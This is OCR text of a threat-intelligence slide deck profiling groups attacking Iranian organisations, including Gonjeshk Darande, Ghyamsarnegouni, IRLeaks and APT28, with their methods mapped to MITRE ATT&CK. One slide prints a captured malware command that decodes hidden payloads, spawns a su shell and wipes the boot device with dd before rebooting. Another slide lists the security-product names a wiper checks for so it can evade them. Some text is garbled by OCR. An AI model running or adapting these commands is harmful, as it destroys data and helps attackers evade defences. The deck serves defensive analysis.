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Agenda

71 Classification of sabotage activities

1 What is APT?

1 Overview of recent Attacks

-1 The Most Active Threat Actors

-1 Threat Actors Behavior

- The role of threat intelligence in threat hunting
- Initial access
- Gonjeshk Darande

- GhiyamSarnegooni
- IRLeaks
- APT28




Classification of
types of sabotage
activities

Targeted Crimes and Attacks

Information Theft

Ransomware

Establishing Early Access
Threats of Information Disclosure
Political/Social Goals

Sabotage

4 4 41 4 4 4 1

Espionage




Whats APT?

Advanced

“ers
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Cybercrimes & Targeted Attacks Timeline in Iran. (Jan. 2023, Sept. 2025)
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The Most Active Threat Actors (APT, Cybercrime)

IRLeaks GhiyamSarnegooni

@2 | DataBreach

m In the two-year period of 2023 (SH 1402), many attacks ey
against Iran have been identified and investigated. v

& Data theft

® Top 4 groups that have carried out the most attacks. .
Q;OS Asset Theft

Gonjeshke Darande

‘7;(‘ Defacement

1)/ DataWipe

&= ¢
[ } Network Disruption \



Each Group's Share of Attacks Across Different Industries

government

1 IrLeaks Gonjeshk Darande

energy

retail :
2 financial-services
GhyamSarnegouni
)3

government

" transportation

1







The role of threat intelligence in threat hunting

Data Entry ----->—--- Data Correlation ----->—--- Analysis ---- > SR

Preparing reports )
P i i = Management report -“< ----- Extracting TTPs (----- <““"

/ =Threathunting report

Presentation to the

\“>'" PlayBook | RunBook "_"> ----- threat hunting team



The role of threat intelligence in threat hunting

Reporting

Analysis Analysis Discover to the Conduct
of -_>_- of -_>_- similarities .. __ 10A __>__ Threat __>__ threat
tools methods in attacks extraction Hunting . hunting
perations
Team



|nitial
Access

Using valid accounts
is the most common model
used in recent attacks.

Why and How?

1 |nfo Stealers
7 Phishing
1 Initial Access Brokers

INITIAL ACCESS EXECUTION

Command and

Valid Accounts -
Scripting Interpreter

Exploit Public-Facing
Application

Command and Scripting
Interpreter:
PowerShell

Windows Management
Instrumentation

Scheduled Task/Job

Shared Modules

User Execution

PERSISTENCE

Server Software
Component: Web Shell

Scheduled Task/Job

Valid Accounts

Server Software
Component: Web Shell

MITRE ATT&CK heat map highlighting the top techniques CrowdStrike OverWatch

observed adversaries employ in each
2025 June-2024 tactic area, July
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Initial Access Brokers

An example of the sale of stolen
information from the Ministry of
[censored]on a Telegram
channel by a group called:

ARES

April 25

4

&= Iran Ministry of E-Mail + Data Access For
Sale.

- Max 1 Sale

- Full Size: 1.5 GB | Access to +3.5k inbox.
- Data Type: .eml .pdf .doc .xIx .csv

> Latest, most up-to-date

~ Contact:



Initial Access Brokers

Sensitive information
from a[censored]

Ministry employee

SOFT: Chrome Default (131.0.6778.265)
URL: https://

USER:

PASS:




Behavior Analysis of threat actors:

Gonjeshk Darande

— Group Info

Gonjeshk Darande

Motives for Attacks

Targeted Attack:APT:Sabotage

Industry Sections
energy:oil, gas & consumable fuels
financial-services:banks
financial-services:crypto

APT
National Iranian oil products Distribution Company (NIOPDC)
Bank sepah

Bank pasargad
Nobitex Crypto exchange




Behavior Analysis of threat actors

Initial Access

Valid Accounts - (Provided by IABs)

'
G O nJ e S h k Da ra n d e = Network Disruption -
= Data wipe w { I[j:[-‘; ,ﬁ
: = Asset theft 29 =3 i
= Send SMS/Email

=Disk Wipe
=Remote Services: SSH
=Valid Accounts




Behavior Analysis of threat actors
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Soft: Mozilla Firefox

Host: https://admin.nxbo.ir
Login: @nobitex.1ir
Password:

Gonjeshk
Darande




Behavior Analysis of threat actors

Gonjeshk
Darande

71 Using of Python language

. Example of malware used in Organization
71 Detailed mastery of server and

services structure

71 Existence of passwords and
network information

71 Professional coding
T Example of malware used in Bank



Behavior Analysis of threat actors

Gonjeshk

Example of malware used in | COroanization
Darande - _

" command": ”Bash -c exec ©>/dev/null

_alarm_score": 1, " _category": 2,

2>&1 &% set -x && ps -fade && 1s -la /home/ /.config/games && ps
A1 Existence of passwords and -fade | grep alduin | grep -v grep || (echo changed && bash -c '(sleep
. . 33060 && openssl enc -d -aes-256-cbc -md md5 -k Z3QmnFnnsl -in
network information Ihomed itan g ) top -E
/home/ 'xz && python
71 Professional coding S Sl S Sl

&> /dev/null'); ps -fade | grep | grep -v grep && (echo success &&
ps -fade | grep -F pty.spawn | grep -v grep || bash -c \"(sleep 40260;
echo| VkBOYW5ZQG4hS2h | openssl base64 -d -a
-A) | python -c ‘import pty; pty.spawn([\\\"/bin/su\\\", \\\"-m\\\",

AMY =N\, AN\ echo -n

BOOT_DEV="S(mount|grep 'on /boot | cut -d"' -f 1)" Qk9PVF9ERVY9IiQobW91bnQgfCBncmVwICdvbiAvYmOvdCAnIHwgY3VOIC1kIyAnICImIDEpI
dd if=/dev/urandom of="SBOOT_DEV" ¢ gpkZCBpZjOvZGV2L3VyYW5kb20gb2Y9TiRCTO9UXORFViIKcmVib290Cg== | openssl

reboot




Gonjeshk
Darande

Target ("Master_primary")
Add ("IRCO@7001070")

Add ("IRCP@7001071")
Delete ("WWO001002300")
Delete ("Wh@001002301")
Delete ("WWO201002310")
Delete (“"WWO001002311")
Delete ("WWO001002320")
Delete ("WWO@01002321")
Delete (“WWO001002330™)
Delete ("WWO001002331")
Delete ("WWO001002340")
Delete ("WW@001002341")
Delete (“WWO001002350")
Delete ("WWO001002351")

Add ("WWe001002350")

Add ("WWe001002351")
Delete0SConfig()

Add ("Eminoco_config","9450MA101090")
Defrag( @ )

Sample code used in Bank |IIIIEIEM for direct Sample code used in a [N attack to
communication with the database server communicate directly with the fuel delivery device




Determine the nature of the Gonjeshk Darande group



Behavior Analysis of threat actors

Ghyamsarnegouni

ple
G
(95

— Group Info
[Name |

Ghyamsarnegouni | 555l sl3

Motives for Attacks

Targeted Attack:Hacktivist

Industry Sections
government:public administration and defense

Hacktivist




Behavior Analysis of threat actors

Ghyamsarnegouni Targets:
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Behavior Analysis of threat actors

Initial Access

Exploit Public Facing Applications

TR Vethodology
Ghyamsarnegouni | w=mm
= Defacement ) Ll (—

oL = Data Wipe

=[isable or Modify Tools

=\Web Shell

=System Network Connections Discovery
=Valid Accounts: Local Accounts

= | ateral Tool Transfer




Behavior Analysis of threat actors @ Ghyamsarnegouni
-

-1 Two examples of malware samples
used by this group in two separate
attacks Malware Used in the Attack on N

“1Same structure in samples.
Using .net programming language

1 Samples use wiping methods

U Malware Used in the Attack on |



Behavior Analysis of threat actors @ Ghyamsarnegouni
-

Attackers know your environment
better than yourself

71 Complete list of usernames and
passwords of network
administrators of the first
organization

Valid Accounts: Local Accounts
71 The attacker has spread and

expanded his access by knowing
the usernames with admin access
as well as the existing domains.

U System Network Connections Discovery



Ghyamsarnegouni

IDA View-A B Strings [x]
Address Length Type String
s seg000:0000... 0000000C C defendpoint
E seg000:0000... 00000009 C defender
'_i: seg000:0000... 00000007 C eectr
g seg000:0000... 00000008 C elastic
's’| seg000:0000... 00000008 C endgame
1 1 s’ seg000:0000... 0000000 c fsecure
-I USIng Advanced TeChanues E seg000:0000... 0000000B C forcepoint
ls] seg000:0000... 000D0OCOS C fireeye
. . %’ seg000:0000... 0000000B C aroundling
1 Vulnerable S|gned Drivers. 'S] seg000:0000... 0000000A C  GRRservic
E seg000:0000... 0000000A C inspector
‘s’| seg000:0000... 00000007 C ivanti
C

seg000:0000... 0000000A

11 Bypassing Security Products

I's’| seg000:0000... 00000007 C lacuna
E seg000:0000... 0000000A C logrhythm
E seg000:0000... 00000003 [ malware
E seg000:0000... 00000009 C mandiant
E seg000:0000... 00000007 C mcafee
E seg000:0000... 0000000A C marphisec
E seg000:0000... 00000009 C msascuil
‘5] seg000:0000... 00000008 Cc msmpeng
E seg000:0000... 00000007 C nissrv
I's’| seg000:0000... 00D0000A C omniagent
E seg000:0000... 00000008 C osquery
E seg000:0000... 00000013 C palo alto networks
‘5] seg000:0000... 0000000D C pgeposervice
E seg000:0000... 00000000 C pasystemtray
s’ seg000:0000... ODODODOF C privilegeguard
s’ segD00:0000... 00000003 C procwall
A s’ seq000:0000... 00000010 C protectorservic




Ghyamsarnegouni

(*local_38)(&local_68);
enmpty_int_pointer = (int *)0x0;
DsRoleGetPrimaryDomainInformation(0, 1, &enpty int pointer);
if (*empty_int_pointer !=5) {

(*local_38)(Rlocal 4c);

loc: ™

L

U

: 54

w o= m o\

]

1

1

1

1

]

1_52
local_51
local 5

0

1

1

1

{ 0
04022a0(&local_58);
24 '

D=

Ful

cal_21 =
for (1 = 0;
FUN_00402
ocal 24

0;
1< 24y 1=1+1) ¢
2al(&local _24):
=1

cal_24 + 1;

++++F+EFEFEEE

}
funcl0();

}

return;:

}

[ebpH 1,
| Caddy Wiper Used in a Ukrainian attack The wiper used in [l Attack



pld

| .“ Ghyamsarnegouni
-’

Behavior Analysis of threat actors

71 Using Commercial Packers like Themida

1 Wiping functionality

71 0verwriting file content with zero (=)

sub_23281@ endp

U The wiperused in [ Attack



Behavior Analysis of threat actors @ Ghyamsarnegouni
5

A problem has been detected and Windows has been shut down to prevent damage
to your computer.

UNMOUNTABLE_BOOT_VOLUME

If this is the first time you've seen this error screen,
restart your computer. If this screen appears again, follow
these steps:

Check to make sure any new hardware or software is properly installed.
If this is a new installation, ask your hardware or software manufacturer
for any Windows updates you might need.

If problems continue, disable or remove any newly installed hardware
or software. Disable BIOS memory options such as caching or shadowing.

=1 Overwriting OS file content VR S, prare e b Selact Advaieed Sactup rtitns, st
. select Safe Mode.
with zero

Technical Information:

*** STOP: Ox00Q0OOED (0x80F128D@, OXxCOOPOBIC, OX

11 Leading to BSOD
BSOD in | Attack




Behavior Analysis of threat actors @ Ghyamsarnegouni
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Ghyamsarnegouni

.exe on portal Network scan .exe
.exe on portal Extraction Admins Authentication
. Data .exe
on Exchange Server .exe on Domain Controller

Extraction Users Authentication

.dll on Machines Data dil

.exe on Symantec host server .
Execution commands and exe

exe on Symantec host server Extracting Data

O OF o @ o B O

Reconnaissance Weaponization Delivery Exploitation Installation Command and Control Action On Objective

.exe

exploit Exchange and Portal
NPLogonNotify

aspx Webshell

il Stealing Authentication Data

.exe Malware based on DNS protocol

.exe Malware



Behavior Analysis of threat actors @ Ghyamsarnegouni
<
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Behavior Analysis of threat actors

— Group Info
Name

APT28

Motives for Attacks

Targeted Attack:Hacktivist

Industry Sections

energy:oil, gas & consumable fuels
financial-services:banks

Category
APT




Behavior Analysis of threat actors

Galaxy Matrix: | Attack Pattern

LGNS IG L LR attack-Containers
Execution

Windows Command Shell

attack-laaS | attack-ldentity-Provider = attack-Linux
Persistence

Registry Run Keys / Startup Folder

attack-Network » A attack-Office-Suite = attack-PRE | attack-SaaS = attack-Windows

Privilege
escalation

Registry Run Keys / Startup Folder

Defense evasion

Indicator Removal

Rename System Utilities

attack-mac0os =~ moflell m Yshow all

Exfiltration Command and
control

Exfiltration Over Asymmetric Encrypted Non-C2 Application Layer Protocol

Protocol




Behavior Analysis of threat actors

APT28 In Organizations: Hunt

Observation

and analysis . . Extracting Correlation Extraction Discovering

of similarities | \ TTP L\ For;tiaz';mg S\ I?;?;\T;':,? N\ more |\ | ofnewdata | \ | ofdomain | \ |thecountry’s

in attacks on extraction or anigations institutions data from with registration corrupt
different g . attacks APT data patterns organizations

organizations




APT28 In Organizations:
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Behavior Analysis of threat actors

— Group Info —
Name | Day Insurance
IRLeaks Asian Insurance Mihan Insurance
Razi Insurance Ma Insurance
Sina Insurance Arman Insurance
Crime: Ransom Alborz Insurance Parsian Insurance
Crime: Infosteal Dana Insurance Sarmad Insurance
I R |_ k Moalem Insurance Tejarat Insurance
e a S Saman Insurance Taavon Insurance
Financial-services:insurance Atieh Insurance Iran Moein Insurance
Transportation:ride-hailing Novin Insurance Omid Insurance
retail:electronic shopping Kaarafarin Insurance Hafez Insurance
government:public administration and defense snapp food Kharizma Insurance
financial-services:banks Hajj and Pilgrimage Organization tapsi
otaghak
Tosan
Cybercriminal




Behavior Analysis of threat actors

Initial Access

Exploit Public-Facing Application

I R |_ k Valid Accounts (Provided by IABs)
e a S Methodology

Data Theft [®

=Exfiltration Over Web Service: Exfiltration
=to Cloud Storage
=Server Software Component: Web Shel




Behavior Analysis of threat actors

December 31, 2023
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Behavior Analysis of threat actors

IRLeaks

71 Using stolen information
and gaining initial access

1 StealC
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